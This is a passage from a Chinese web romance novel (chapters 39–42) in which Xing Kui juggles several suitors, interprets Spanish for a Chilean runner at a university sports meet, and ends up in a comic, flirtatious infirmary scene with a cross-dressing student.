周镜最近有桩案子需要出国,临行前见过她一面,他给时间让邢葵收回对他的喜欢,但分手只是为减轻她被催婚的压力,不代表他放弃。 临别,周镜俯身,在她的额头疤痕落吻,情难自抑,从额头亲到唇。 一吻结束,邢葵捂着红扑扑的脸一转头,不知何时出现的江玉鸣看着她,似笑非笑问:“这是第多少次吻啦?” 大概,第四十?她也不知道啦!那天晚上亲的有点多,亲的地方也有点多,数不清。 后来江玉鸣和周镜单独聊话,没让邢葵听。 江玉鸣:“突然就有案子要出国,我很难不怀疑是厉乘川在支走你。” 周镜:“正合我意,厉乘川不知还有你在背后捣鬼,我不在的时日,你多照顾葵葵,别让厉乘川有隙可趁。” “哦?”江玉鸣扬起眉,语调也古怪地扬起来,“你就不怕我学你,用身体照顾,将她诱走。” 周镜冷冷淡淡瞄了瞄他:“葵葵单身,她干什么都是她的自由,你蓄意勾诱,是你无耻,我比不过你,是我无能。” 江玉鸣噎住,过了会儿笑到岔气,眸子弯弯:“你自己都是小三,摆什么正夫派头。” 周镜看了眼腕表:“我谈过,你谈过吗?我要出发了,记住我说的话。” 记住了,就记住一句,邢葵干什么都是她的自由,那干他也ok吧? 十点的阳光洒在趴窗台的邢葵身上,她今天起晚了,实在是昨天睡得太晚,真人出镜后,对视频的质量要求也跟着提高,她坐在电脑前剪视频不知不觉就到了深夜。 “来吃早餐。” 邢葵转过头,看到门口穿着白卫衣、系着红围裙的江玉鸣:“我先去刷牙。” 早餐丰盛,邢葵真没想到江玉鸣厨艺惊人,周镜不会做饭,厉乘川也不会,她还以为都是兄弟,江玉鸣也不会。结果他特别会。 刀功好,又懂饮食搭配,做出来的食物好吃好看又营养均衡。 周镜走后,江玉鸣讨起邢葵喜欢,只是,可惜了,江玉鸣的基础条件和周镜相似,一个医生,一个律师,他们在长辈眼里都太 适合原地结婚,喜欢他,和他恋爱,无疑也会迎来一样结局。 邢葵明确表示了拒绝,江玉鸣没说什么,他大抵也猜到了,就是闹着玩玩,笑嘻嘻地说那他们还可以保持原来的关系,谈心不长久,谈皮可永远。 对此,邢葵无语。 江玉鸣的想法:只有她喜欢他(谈心),他才愿意假结婚。 邢葵的想法:假结婚最多只可以谈皮。 就,无解啊,他俩的意愿完全是相悖的。假结婚不成,谈恋爱也能暂止催婚,但江玉鸣的形象也不适宜谈恋爱。 她没辙,江玉鸣有辙,他将他定位为可亲可睡可帮忙解决生理需求的朋友,服了服了,邢葵捂上耳朵当没听见。 江玉鸣在给她物色新的假结婚对象。 邢葵思考过,能找到人假结婚当然好,可找这样的人的确困难,实在不行,她就正常谈恋爱吧。 无论是周镜还是江玉鸣,他们的条件都太适合结婚,因此他们带来的喘息时间只有几个小时,也许有人能比他们带来的时间长。 这个念头还没跟江玉鸣讲,感觉他可能不乐意听。 “我走啦,今天我要出门拍摄。” “站住,你吃饱了,我还没饱。”江玉鸣从桌旁站起来,牵住她的手腕贴上迷人的脸,“亲一口。” 邢葵眨眨眼,推开他的脸:“不要,我现在没需求。” 江玉鸣撇回脸,哀哀怨怨:“那我有呢?” “我没答应帮你解决。” “那算了。”江玉鸣绯红的唇角牵起笑弧,扣住她的手腕贴上唇,“还是我来吧。”他一下子吮上她的腕,在邢葵没反应过来前,黏热舔了舔,又咬了咬,盯着她,神情风情无限,“自己动口,丰衣足食。” “!”他真的是! 活生生一只妖精,邢葵羞恼地去洗手,戴上帽子直接跑了,只听到江玉鸣在后头笑着让她跑慢点儿,等他下午手术结束去接她。 最近追剧时,邢葵误点了右上角跳上来的零食广告,紧接着大数据发挥它的魔力,总给她推荐吃的,甚至推给她所在地的网红食品。 还别说,真挺诱人,邢葵记下那些热帖标题文案,分析爆款视频的制作,包括它们的配字、节奏、配音等等,深度学习,也成功被安利了一些产品。 比如她今日要去的京江大学食堂,最近推出一款玉米奶油卷,爆红网络,许多网红去打卡,她也准备去尝尝,同时拍拍素材。 “你不要酸奶啊?”中午时分,食堂人来人往,一个窗口前,穿着女裙的变装男拎着打包盒跟在许野后头。 “控糖。” 许野单手端着餐盘搜寻空位,话痨男倏地夺走他的校园卡:“你不要我要,我再去买一瓶。” “梁——”许野吐出一个字,深红的唇将后面的字抿回去,抬起穿军绿色工装五分裤的腿,迈向空余餐位,直到话痨男回来,他才拧着眉张嘴,“你房租我付,你吃饭蹭我的卡,我养你?” “养我怎么了,我这不是怕被抓回去不能用钱,咱俩好兄弟。”话痨男捶了下许野的肩,嫌弃地转手腕,“这么硬,钢铁是谈不到女朋友的!你还没告诉我邢葵住哪儿,我都想好如何报复她了!” 许野撩了撩眼皮,话痨男不过捶了他一下,手指关节处就泛起红色,像他这样就谈得到女朋友了? 两人这几天对过信息,话痨男已经得知他遇到的邢葵就是厉乘川曾要结婚的人。 “真是气死我了,她看着可怜兮兮的,背地里居然这么坏,伤害厉哥,又转攻周哥,害得两位哥哥反目,厉哥都把周哥踢出群了!” “可能……”许野也不清楚,他和话痨男智商情商半斤八两,两个臭皮匠顶不了诸葛亮,“可能,她有委屈。” “有委屈就能伤害咱哥了?你别替坏女人讲话,我跟你讲,除非她是失忆了,否则我没可能原谅她!”话痨男气鼓鼓,“你也不能给她好脸色!我们兄弟胳膊肘要向内拐!” 顿了一秒,话痨男笑,“你也给不出好脸色,就你这张比野狗还凶的脸,谁瞧了都退避三舍。” 戴帽子的邢葵走进京江食堂:“许野?” 许野抓筷子的手紧了紧。 邢葵的心也紧了紧,他怎么在这儿嘛,许野坐在白色的餐桌旁,桌面上餐盘里的食物堆得高高,桌面下他露出五分工装裤的小腿肌肉强健,看起来能一腿踹到她飞出京江大。 四目对上,出于礼貌邢葵走过去打招呼:“你在京江大读书啊,真巧,我来买玉米奶油卷,咦,你?” 她看向话痨男,懵懵,话痨男刚要放狠话,邢葵弯起干净的杏仁眼绽开笑容,“太好了,又见到你了,我还没问你那天吃得怎么样,毕竟我踩脏了你的符。” 她干什么这么笑! 话痨男捂住猝然扑通跳动的心脏,活见鬼活见鬼活见鬼,她这样他哪生得起脾气,懊恼地撇过头,傲慢道:“就那样吧,还行,烦死了你。” “?”神经,不理你,“你们认识啊?你们聊吧,我去买奶油卷。” 邢葵兴冲冲退场,讲下礼数行了,她有点怵许野,即使许野救过她两回了,但人有避险本能,要是将许野放进西幻文里,他就是能徒手驯龙的教廷骑士,搁谁谁不怕。 桃粉色的裙摆下,一只腿伸出,话痨男还是决定给这个离间他们兄弟情谊的女人一个教训。 刚伸出来就后悔,想收回去,架不住邢葵走得急。 被绊到,邢葵吓得眼前空白,往前摔去,凳子腿在地面移动的声音,餐盘击地的声音,帽子掉落的声音,各种声响击入耳膜。 话说,谁滚烫的手臂箍住她的腰,她又撞到谁硬实的胸膛,她后背贴着的又是哪位?!!! 第40章 苹果味酸奶和化瘀气雾剂的味道同时钻进邢葵鼻子,酸奶味是因为身后的话痨男刚才在喝酸奶,气雾剂气味,可能是身前的许野先前喷过。 两个人同时救她,一后一前同时抱住她,四条手臂都在她身上,这画面,邢葵愿称之为:夹心饼干。 她就是那可可怜怜的小夹心,啊啊啊啊食堂这么多人,救命!此刻绝对能被列入她人生窘迫时刻前三名! 已经听到外面窃窃私语,甚至有学生没关快门,你们别拍照片啊!代入我,代入我快窒息了! 邢葵自觉悲惨,天呐,她的腿伤不是好了很多嘛,怎么正常走路还能摔! 她没发觉话痨男幼稚的小动作,戚戚然埋着头不敢抬起,除了因为被围观、因为差点摔倒后怕,还因为她头上就是许野凶巴巴的脸。 许野身体炙烫,今天穿的又是那种胸前有纽扣的衣服,硬质的纽扣抵着她的脸,让邢葵想起枪杆抵头,要死了,真的。 比她更想死的是话痨男,围观路人抬起手机,他怀里不断传来凉凉软软的触感,慢半拍地低下戴头纱、墨镜、口罩的头,得亏他全副武装,要不然传到网上被他家人发现,一定会弄死他。 怎么就去救邢葵了!懂了,姑娘家表面柔弱可欺,实际上是高段位的海王,他不小心被钓了,可恶,幸好他察觉得早。 许野,你也得…… “捡帽子。”许野冷冷地扫视周围,浓眉大眼,凌厉的视线一下叫所有人噤声,小麦色的手掌按住邢葵后脑勺,完全护住她,将她困在胸膛不露脸。 胸前纽扣被软绵冰凉的脸压着,许野深褐色瞳仁闪过几分局促。 “干嘛我去捡?”话痨男不服。 “你在后面当然你去。” “凭什么劳烦我,我能从后面捂住她的脸啊。” 好吧,他捡就他捡,拖延久了会让更多人拍照,话痨男松开禁锢邢葵腰的手臂,弯腰拾起帽子,不自在地将另一只还残有余温的手臂别到身后。 喜宴上他听邢葵亲戚谈过,说邢葵额头有一条不足为道的小疤,帽子大概是为挡那条疤吧。 曝光给大家看才好! 话痨男恶毒地想着,白似牛奶的手下意识将帽子递送过去,不争气的手!“看什么看,我俩救人,你们眼瞎啊!吃你们的饭!” 收回手,话痨男将之别到身后,用另一只手悄悄地打,一边打一边心里暗 骂:不争气!不中用!吃里扒外的东西!下次搽护手霜不给你搽! 话痨男粗着嗓子吼那些看戏拍照的人,但本身是那种清亮明朗、浸着甜的少年音,故意浑厚也不显浑,反衬得他如骄矜不可一世的富家少爷。 邢葵想着,咖啡色鸭舌帽盖回她的脑袋,许野的手落在帽子各处拍打,想给她盖严实,只是动作粗野,拍得她头都晕。 纤细的脖颈仰起来,许野也跟着移开手,在怀里闷了一会儿的人,露出苍白的脸蛋,仰望着他,水灵灵的眸子承载惊惶。 又是这种眼神,初见面时在医院的台阶上,邢葵也如这般看他。 无助、求助;无望、渴望。 许野因此一见钟情,无关她的外表,更不可能是因为她柔弱,他可没有嗜弱癖好,而是因为,邢葵身处危局却无与伦比坚强。 眼神无声,烙铁般烫进许野心脏,她像一颗在腐烂沼泽里也要发芽开花的种子—— 会开出和金牌同色的花。 窒闷了几分钟,邢葵本能张唇吸呼,吐息在空气中稀释,许野怔神,对着她清澈的双眼,唇瓣不自控地微分,去控制气息消失的方向。 突出的喉结滑动,吞咽从她那里飘来的气息,恍惚似一个缠绵在空气中的、无形的吻。 邢葵不明就里,唯恐触怒能一脚将她踹出京江大的许野,连忙道谢:“谢谢你们呀。” 们?两个?哦,姓梁的还在啊。 松开初恋,许野单手捂住不听话想吸气的唇,别过头,眼下皮肤涌动红色,该死,险些又对邢葵一见钟情,好不容易他才收起心思。 捂唇的手掌刚接触过邢葵的腰,水蜜桃味洗衣凝珠的香气窜进唇齿,许野喉间发出一丝邢葵以为听错的颤音,他两腮晚霞般赤红:“我还有比赛。” 他跑了,几秒后又回来把话痨男拽跑。 邢葵摸摸头,许野应该觉得方才那夹心场景难堪吧,她也难为情,心脏到现在无法平静,需要吃十个玉米奶油卷。 “什么?卖光了?!” “对的,小姑娘,你要早点来啊,这个最近卖的火,早上十点就全没了。”阿姨好心,“你要能等的话,下午三点还会卖,到时候你来。” 也行,江玉鸣下午有手术,没那么早来接她。邢葵点了其他菜,坐下来,京江大是她的母校,疲惫工作后的夜晚,一个人的小房间里,绞尽脑汁找优惠券减少外卖价格的时候,偶尔她会想念起校园里的食堂,便宜、好吃。 学生来来往往,讨论下午的赛事,原来这两天是京江大的春季运动会,邢葵喝了口生菜蛋汤,吃完饭她去看看,能不能拍到可用素材。 日光灿烂,播报运动会的校园广播响着,操场喧喧嚷嚷,运动员、裁判员、安全员……各司其职。 京江大重视国际合作交流,行走的人群中不少外国面孔。 马上要进行的是田径项目,旁边环形阶梯式看台上,最上方,一名中年人正和一位学生交谈。 “比赛要开始了,你这会儿跟我说你不干了,我去哪儿再找安全员替你。” “我真不行,我真不知道我要负责的是个外国人,他叽里咕噜的我一句话都听不懂,跑的时候他跟我要水我能跟他说加油,他跟我要毛巾我能给他递水。” “李老师?”邢葵走过来,拿着手机,“您好,我想问问运动会能不能拍照片和视频……” 李辅导员望向她,有些讶异。 “我会模糊掉人脸。”邢葵保证道,“我是京江大毕业的学生,老师,我曾上过您的市场营销课,您可能不记得了。” “我记得。”李辅导员伸出手指,点着她皱起眉头回想,“邢、邢,邢葵是吧?” 邢葵惊喜:“是的!您记得!” 李辅导员笑:“不是谁都能放弃保研,我未必能记住每届绩点第一名,但有人能保研却不去上,我是真忘不掉。” “……”邢葵讪笑。 “我都能想起来你当时放弃保研的理由,你跟吴教授说,你想尽早飞出去,怎么样,如今飞出去了吗?” “年少轻狂。”人哪能脱离亲人,不提了,“那老师,可以的话我就去拍了。” “等一下,你是不是会那什么,西班牙语?” “啊?是学过。” “那正好!”李辅导员拉过身旁学生,“你带学姐去帮那位智利留学生,邢葵,帮老师个忙。” 邢葵慌张摆手:“不不不,我都好多年没说过了,工作也不用,我现在最多能听懂几个单词啊!” “能听懂单词也行啊,学姐,跟我来吧。” 操场上,校田径社的成员正聚在一起,他们中大多数都报名了项目,即将参赛的人做着热身。 “欸?你们看,那个女生戴的帽子是不是许哥的?”一人拍打另一人。 “像,难道……”他激动扬声,“她就是许哥说的他救下的心动对象!” 许野扫过来,一身宽松运动装,短袖短裤,眉压着眼,眼神凶戾:“是误会,没心动,闭嘴。” 刚刚大声的人当即缩小音量:“是是是。” “不过许哥,她是我们学校的吗?没听说过啊,她怎么靠近那黄毛了?我还以为她是来找你。” 许野没回答,活动手腕脚踝关节,盯着邢葵那处,她胆子小,每次看到他都戒备,这会儿跟高高大大外国人就笑得开心。 他顶多就比这个外国人再高一点、再壮一点……也没多夸张,他练田径的,又不是摔跤。 她笑起来犹如加了糖的小蛋糕,舔一口奶油就会就会甜蜜融化。 来自智利的留学生名叫胡安,二十岁,长相成熟像三十岁,头发深黄色羊毛卷,略有胡茬,一见到邢葵就冲她元气十足地招手:“Hola(你好)!” 他是会说中文的,不够流畅但能让人听懂,就是怕他跑起来后本能地说母语,所以原先的安全员才推辞。 邢葵曾经自学西语是想给她的未来加分,虽说当年有C1水平,但多年不用已经生疏,只有一句话刻入基因不会忘:“Perdóneme(请见谅),能请您说慢一点吗?”西语国家的人语速太快了! “好的好的没问题,我叫Juan,就是十个智利人五个叫Juan的Juan。”胡安乐呵呵自我调侃。 邢葵被逗笑:“你叫我Solana就好。” “阳光?很适合你的外表,你像太阳一样耀眼。” “谢谢。” “我没有开玩笑!刚才人群中我一眼就看到了你!” “许哥。”一位田径社成员跑去偷听,发现听不懂他们对话灰溜溜折返,斩钉截铁,“虽然我没听懂一个字,但我怀疑那黄毛在向嫂,在向她开屏。” “你不阻止吗?” “你不阻止她就要被拐跑了。” “多嘴。”许野抬起手掌拍了下他的头,“再说一遍,我没心动。”已经不心动了。 那是他一位兄弟的前未婚妻,一位兄弟的现任女友,许野疯了才会心动。 但周镜谈着恋爱怎么出国了,邢葵不比几个亿的工作更重要吗? “我打个电话。”许野走到操场边缘,从这个角度依然能看见邢葵和黄毛外国人,两人你一言我一语,也没见她和他说话这般自在。 为了厉哥周哥是要阻止,按了按手机,“喂,过来,需要你。” 手机传来话痨男声音:“我才吃饱喝足点开一本恋爱甜文看到第三章 ,不去——那坏女人在干什么呢!” 许野调转镜头拍进邢葵和胡安:“不知道,你不是懂十种外语,过来听。” “你等着,我这就来抓小三!” 话痨男起身拿起搭椅子上的变装工具,揽过桃粉色女裙的手臂精瘦不缺乏力量,线条明显,毫无赘肉,牛奶似的白,忽然滞了滞。 “等会儿,周哥是挤掉厉哥的小三,那撬周哥墙角的男人,是不是 该称为,小四?” 他咬起白牙,两颗小虎牙尖尖的。 “太过分了!怎么会有人不要脸当小四!我这就来抓小四!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 日头晒,邢葵戴帽子额角闷到流汗,抬手擦了擦,后背也黏糊糊,要不是学校没几个人认识她,她都要怀疑被什么变态盯上了。 胡安是个风趣热情的人,有学生来发运动员号码布,邢葵笑着看他系布,心里悄悄舒气。 太久没用过西语对话真叫人紧张,胡安报了八百米,能跑好一会儿,她也能歇歇,希望能拍到很好的素材吧。 听说她要拍素材,胡安向她自荐出镜,请八百米选手就位的播报响起,邢葵转述给他,他笑嘻嘻指指他的脖颈:“知道了,Solana,要屏气凝神拍清楚我流汗的样子。” “好,我会拍得很好看的。” “小四说,等我跑起来,你要注意我流汗的身体有多性感; 邢葵说,没问题,我会眼睛一眨不眨地欣赏,她还要拍照留念!” 不远处,宽大的遮阳伞柄后面,话痨男一袭粉裙,男扮女装,竖着耳朵偷听,墨镜挡住他的眼神,但约莫和语气相同能喷火,“她居然背着周哥撩骚!” 旁边,许野压着腿,被太阳照着的腿部肌肉健硕,洋溢性张力:“你确定没加自己的理解?” “我当然是一比一……好吧,我稍微拓展了一下,你不懂,那种高段位的心机钓系海王经常这样,表面没说什么,实际上连嗓音都在撩。” 她讲西语怪好听。 话音成线钻过话痨男耳朵,他浑身一抖,夸张地竖起奶白色的两手揉了揉双耳,“反正他们讲的就这个意思,你要不信你来听。” 许野换了个热身动作,褐瞳盯着邢葵,装着不信的神采。 他嗓音粗厚,没凶别人听着也像凶,同理,邢葵说话语调软,发怒想必都会让人听着心痒痒。 要去跑道就位的胡安走了几步又走回来,对邢葵舒眉笑眼。 许野:“现在呢,他们在讲什么?” “小四说,你能祝我拿第一吗?邢葵说,好,她在终点等他,第一名。她怎么能这样!” 话痨男气愤掐腰,开启吧啦吧啦模式,“跟周哥在一起了还要撒网,那小四被她钓得嘴都歪上银河系了!第一名~哕!许野!喂,你去哪儿?” “去报八百米,我没报。” 话痨男愣了愣,舞起拳头:“好样的!咱们身为厉哥周哥好兄弟,绝不能让小四嘴角这么翘,你去跑个第一灭灭他的气焰!啊,厉哥周哥知道有我们这么好的弟弟,一定会感动的。” 他也不能输给许野,话痨男握拳,墨镜后,一双桃花眼盯向走向操场内圈的邢葵,琢磨起他能想到的恶毒报复方法,迈开腿。 邢葵拿着矿泉水,和一群安全员走到操场内区,安全员不用全程陪跑,横穿操场抄近路就行,重点是要注意所负责运动员的状况。 她一手拿着矿泉水,一手取出手机拍照片,镜头移向赛道起点,阳光下,八条赛道八位选手,清一色年轻大学生。 邢葵弯伸大拇指,想点一点屏幕聚焦六号胡安,却被屏幕里的七号吸引。 少年人高大劲硕,短袖短裤,皮肤如加了牛奶的咖啡,浓眉星目,轮廓清晰,溢着无可比拟的锐气,弯着也许衣裳下肌肉块块的腰,调整着起跑姿势。 让人想起刽子手高高昂起的刀,挥出即见血。 邢葵被他抱过,衣服下的肌肉,确实是,了不得。 “许野怎么上场了?”旁边女生惊讶扬声。 邢葵疑惑:“他不能上场吗?” “你不知道吗?大一许野,在咱们学校超有名,运动风男神,跑短跑的,一百米两百米那种,没想到他会报名八百米。” 另一名女生跑过来,嗬哧嗬哧:“许野临时替了七号程强,谁是程强的安全员,你换盯许野。” “许野还要盯吗!”一伙人笑,“人体育特招进来的,京江南州大大小小田径奖拿到手酸,据说国家队都向他抛出过橄榄枝,他参赛岂不秒杀全场?” “也不一定。”有人唱衰,“短跑和长跑不一样,训练方式都不同。” 邢葵下撇嘴角移开眼,她肯定挺自个儿救命恩人,在内心嘶吼:许野第一名! “欸,你们觉得谁能第一?我其实觉得那个外国人有潜力,我有外国人运动神经发达的刻板印象。” “你是六号的安全员,你了解过吗?” 几双眼睛齐刷刷看向邢葵,邢葵微愕,这里离赛道起点不远,他们在这儿说话,选手指不定听得见。 那她肯定,肯定挺胡安,人帮她拍素材呢!“胡安腿很长的,不要小看他。” 起点,弯着腰的许野碎发下的耳尖动了动,本来就下压的眉毛往下一皱,褐瞳浮现一层不爽。 眸子垂下,他看了一眼他的腿,又瞥到右边,看了眼胡安的腿。 邢葵是不是近视? 一声枪响,七名运动员狂奔式冲出,许野顿了一下,视线上下扫过胡安站起来后的腿,度量腿长,方才抬起他的腿奔离起点。 他超快。 ——这是众人的第一想法。 他爹的太快了! ——这是众人的第二想法。 分明落后了起跑,但眨几次眼的功夫,许野就追赶上七名选手,没过一会儿就将原先的第一名狠狠甩在后面数米。 肌肉动作,呼吸节奏。 从小经受严苛训练的专业田径运动员,家里奖杯比喝的水杯都多的专业选手,当真和报名凑热闹的普通学生有壁。 不仅旁人震惊,邢葵也看呆了,举着手机却没看手机,事实上,她一点都不喜欢运动,甚至反感。 她从小就好相处被别人觉得好欺负,初中那会儿,班上没人报八百米,她一个弱不经风的人,莫名其妙被报上名。 其他人都跑完了,她还剩大半圈,嘴合不上,气都喘不上来,想说她倒数第一的结局已定,能不能不跑了。 结果半个学校的人围着操场给她加油。 她丧掉半条命跑到终点时,还有位老师感动哭了。 从此以后但凡运动会,邢葵必要生病请假。 成年后的邢葵明白运动的重要性,但每每想起少时经历,就提不起感受运动魅力的劲。 许野一下子将所有人甩在身后,画面极具冲击力,就像森林里一头领头豹,矫健、凶猛、英姿勃发。 撞得邢葵的心都跟着跳。 许野用鼻子吸气,用嘴唇缓慢地呼,面颊飘起红,腿下又加快了些。 邢葵转头寻找胡安。 许野:? 是啦是啦,许野是跑得很有魅力,但这是因为她是旁观者视角,她要同在跑道上,绝对是被甩在后头的小可怜。只能狼狈地看着许野背影,怎么追都追不上。 胡安愿意出镜,邢葵怎样都得多关注。 手机拍摄场景一路后移,直到镜头中出现胡安。 运动员号码第六,胡安排名也是第六,但他性格乐天,在选手队伍里张着嘴大喘气,压根追不上前面的人,也不难过或者怎样,还扬臂冲邢葵打招呼。 邢葵盯着屏幕弯眼笑,胡安形象不错,乐观大狗更具感染力,又是个外国人自带国籍滤镜,发到网上可能会有热度。 她还没跟粉丝说她分手的事,正好借运动会提一下。 许野奔跑速度变慢,扭头瞥了眼胡安排名,无法理解有人不拍第一拍第六。 邢葵想着文案,不用说多详细,防 止被家人刷到猜出账号背后是她,提一嘴略过去就好。 要将关注度转到胡安身上,她看看怎么把胡安拍得抓人眼球…… 长方形的手机屏幕忽然闯进一人,已经是第二圈,汗水斑驳军绿色的运动衫,宽松的衣物随风贴身,隐约印出腹肌线条。 汗不算多,毕竟才八百米,对许野而言轻轻松松,胸膛伴随呼吸起伏,风吹着衣裳偶尔贴出腹肌,线条若隐若现。 邢葵被吸引,本能放大镜头,单手举手机,食指和大拇指放大镜头的动作很容易让手机掉下来,她没注意,也没注意许野是正在向她走过来,他已经跑完了。 以绝对的优势获得第一。 这肌肉绝了,邢葵目不转睛地想,这随便拍来作首图,都能引人点进帖子。 行走时隐约可见的块垒分明的腹肌,隆起的紧绷的胸上肌,流汗的闪闪发光的锁骨…… 要不她问问许野能不能拍好了…… 粉色的裙摆从身后悄无声息接近,话痨男蹑手蹑脚,自认为超歹毒地伸出白皙两手,要拍上邢葵双肩,吓得她魂飞魄散。 这可是上升到魂魄层面的,怎么不算歹毒呢? 许野正走向邢葵,话痨男向好兄弟递了递眼神,示意他打配合,走慢点,吸引邢葵关注,兄弟齐心,教训渣女。 他戴着墨镜,许野能接收到他的眼神才怪,只不过,手机镜头对着许野,许野确实走得不快,平常几步能缩短的距离,他愣是走出八百米的感觉。 话痨男暗自赞叹许弟弟的高度配合,一心也要为厉周两位哥哥表现,昂手,犹如钢琴家弹琴弹到激烈巅峰,猛地一拍! “!”邢葵一激灵,转过身,在桃粉色的裙子前,手一滑,单手高举、没拿稳的手机瞬时掉落。 妈妈!这可是手机!现代人的半条命! 邢葵立即去抓,感觉这辈子没有过这么快的手速,五指张开,最长的中指似乎刮到什么,不重要,她逮住手机啦! 刚要舒气,眼前裙子上的皱痕映进眼帘,桃粉色的大码裙本不贴身,此刻却从胸旁陷下去一条痕迹,那线条经过轻微起伏的山丘,擦过…… 裙子,没有纽扣,手指轻颤,某颗不该存在的纽扣触感迟缓撞进邢葵脑袋。 她上移视线,看到僵滞的话痨男,吓得向后摔倒,一屁股坐地上。 第42章 这一摔,摔得结结实实,人的屁股有两瓣,邢葵怀疑她现在拥有四瓣,好痛。 “邢葵!” 粗厚的年轻男性音色从后面传来,许野眨眼来到她身边,蹲下来抱她,轮廓分明的小麦色俊脸接近,“我带你去医务室。” 宽阔的肩膀碰到她的肩膀,天呐,这得有她的两倍粗吧?邢葵一瞬间想,转念又想到刚刚指尖碰到的东西,僵硬仰脸。 话痨男原地不动,他全脸遮挡严实,瞧不见表情,但包头的纱巾好似在抖。 邢葵想道歉,话痨男突然双手环抱住胸:“我我我,我也要去医务室!她抠到我了,许野,她抠到我了!” 他怎么喊出来啦!周围这么多人呢!邢葵窘迫地别过头,埋进许野怀里捂住脸,心里也泛着担心,她那一下,可能抓得有点重。 “别吵。”许野不了解具体抠到哪儿,见话痨男抱胸,以为只是胸,“这有什么。” “这怎么没什么!这关系到我未来老婆的幸福!” 医务室内,两个伤患一人坐了一张床,话痨男捂着他自个儿的胸膛,又吵又闹,“医生呢,医生在哪儿?” 今天运动会,校医务室的人都在操场,他们来医务室反而是舍近求远,许野抓了抓额,他刚太着急,没意识到这一点:“我去找校医,邢葵,你待这儿休息,等我一会儿。” “我没事。”虽然摔得挺疼的,但没真伤到哪里,“你去给他找吧。” 窗外的香樟树上,小鸟叽叽喳喳,许野一走,话痨男更大声地吵,邢葵隐约听出哭腔,伤到私密,她礼貌背着身,没去看。 “都怨你都怨你都怨你,我好讨厌你,你怎么能抓我这里,我只准我老婆抓。” 他语气无与伦比傲慢,但配合哭腔和说的话,莫名显得有一点点娇,似那种锦衣玉食长大,自小没吃过丝毫苦,咬一口苦瓜都能啪嗒啪嗒流泪的小王子。 那抓都抓了。 邢葵懂事认错:“对不起,我当时看到手机掉太着急了,不是故意的,医药费我出。” 话痨男颤巍巍拂下裙子肩带:“我缺那点儿医药费?你欺负我,好疼,是不是断了。” 断了你能看得见吧。 “好疼,我不敢看!”话痨男墨镜后,眼尾弯翘的桃花眼中盈着泪花,瞪向背对着他的邢葵,颐指气使,“你过来,帮我看看!” 邢葵抿唇想了想,也行:“好吧。” “站住!你别动!”话痨男叫停她起身的动作,“不行,我不给你看,我只愿意让我未来老婆看,你怎么这么随便,我让你看你就看!” “那你想怎么样嘛。”到底有邢葵责任,她好声好气劝,“你不用害羞,我看过很多的,不会记在心里。” “你看过很多?!”话痨男惊震,最后一个字都变成颤音,厉哥周哥才两个人,她得谈过多少人才能用“很多”描述! “对啊。”这有什么好奇怪的,邢葵想到夏天爱打赤膊的叔叔伯伯们,“从小到大,我见过多少我都数不清。” “你从小就看?!!” 不知何故,话痨男更吃惊了,邢葵费解地揪揪眉,可能他家里人比较文明,不这么干吧,她不纠结这个话题,直接道:“总之你放心,我不会在意的。” “我一点都不放心!你不许动,你敢看一眼我挖掉你的眼珠!” 话痨男莫名更加激动,邢葵真心关心他的受伤状况:“那你自己看看。” “我不敢看!” “可是万一真断了,得赶紧处理,你不怕接不回去吗?”邢葵想到曾经刷到过的新闻,“说不定它现在都不在,已经掉在路上了。” 话痨男哆嗦:“真的吗?可我不敢看。” 邢葵大无畏:“我来看,我敢。” “嗯嗯,谢……嗯?”怎么被绕进去了? 邢葵已然起身转身,话痨男赶紧用手臂挡住胸口,她一看,愣了一下,好白的男人。 她已经算白了,话痨男比她还白,先前藏首藏尾她还没注意,这会儿他桃粉色的裙子右边肩带被拨到小臂以下,才直观地感受到他的白。 不像她是气血缺损的苍白,话痨男呈现健康的奶白色,白里透粉,身着女裙捂胸的姿态也一点都不怪异,透着一股瑰奇的吸引力。 “你别挡着,我看看。”邢葵走过去,话痨男坐在床边上,她半蹲下来,小心翼翼地伸手去碰他的手臂,“你别紧张哦,你紧张我也会紧张的。” “……”干嘛冲他撒娇! 一点都没撒娇意思的邢葵轻轻抓上他的臂肉,温柔劝道:“移一移,好吗?” 柔和的声音如一根长丝钻进耳里,黑色墨镜后,话痨男瞳孔微微放大,不受控地咽口水。 “你也不想伤变严重吧?” 对对对,他是不想伤变严重,才不是被诱惑了!但是,但是,他让厉哥的前未婚妻看他的……不好吧? 没关系,厉哥肯定能理解。 他都是为了伤!厉哥听说这种状况,一定也会更担忧他的伤的! 邢葵又拽了拽,话痨男吸了下鼻子,墨镜后瞧不清的眼睛盯着她,用哭腔哼哼:“那你好好看,看完就忘掉,听到没?” “听到了听到了。”挡胸的手臂慢吞吞下移,露出一半胸膛,和脖颈一样是白皙的,平时应该有在锻炼,胸大肌看起来具有弹性。 邢葵回忆起中指刮过的触感,耳骨发热,好像是有弹性,奶白的小丘被她的指甲划出一道长痕,沿着这道痕皮肤晕出桃花似的粉色,和终点处话痨男纽扣的颜色相同。 干干净净的粉。 没断,刮痕的粉和原色混合,邢葵怕粗心忽略什么,不由凑近他的胸口:“破了皮。” 吐字的唇瓣张张合合,温暖的气扑洒到话痨男纽扣,他的纽扣硬得如石头,垂在身体两侧的手臂绷紧,十指将床单揪成漩涡。 “你别说话……嗬……坏女人,我看穿你了,不要跟我装。” “?”说 啥呢? 不过,话痨男锁骨下有一颗小小的黑痣,邢葵最近在看一部叫《见我星辰》的剧,里头的男三号,也就是出逃节目组闹得沸沸扬扬的富家少爷,在类似位置也有痣,真巧。 邢葵站起来,去药柜上拿了酒精棉,走回来,“没断的话,你敢看了吧?你自己消一下毒。” 话痨男猛地扣住她手腕,别扭地凶:“不行,你给我消,你坏得罄竹难书,我怎么能确定你是不是骗我?我一低头看到断了怎么办?我还没找到我未来老婆,我受不了这刺激!” 邢葵站着望着他,无奈地歪了一下头。 “不要冲我撒娇!” “?”神经,算了算了,谁让确实是她刮的,邢葵拿着酒精重新蹲下,“用酒精消毒会有一丢丢刺疼,你忍着点哦。” 她在钓他,她绝对是在钓他,要不然怎么解释每个动作每个字音都让他痒痒的,话痨男咬住后槽牙,气愤极了:“我又不是小孩子,我才不怕这点疼,我不吃你这一套!” 厉哥周哥,两位哥哥究竟喜欢她什么呀,人品渣,长得又,咳,长得还不错。 话痨男垂眸看邢葵,但是脸上有疤,她戴着鸭舌帽,这个他坐她蹲的角度看不见,可他坐她站的角度还是能看到些。 从右眉到右眼皮上方有一小条,不知道右眉之上还有没有,应该没什么吧,毕竟邢葵亲戚说就一小条。 可终归在脸上,人品差,模样又有扣分项,两位哥哥脑子被门夹了,为这么个人反目。 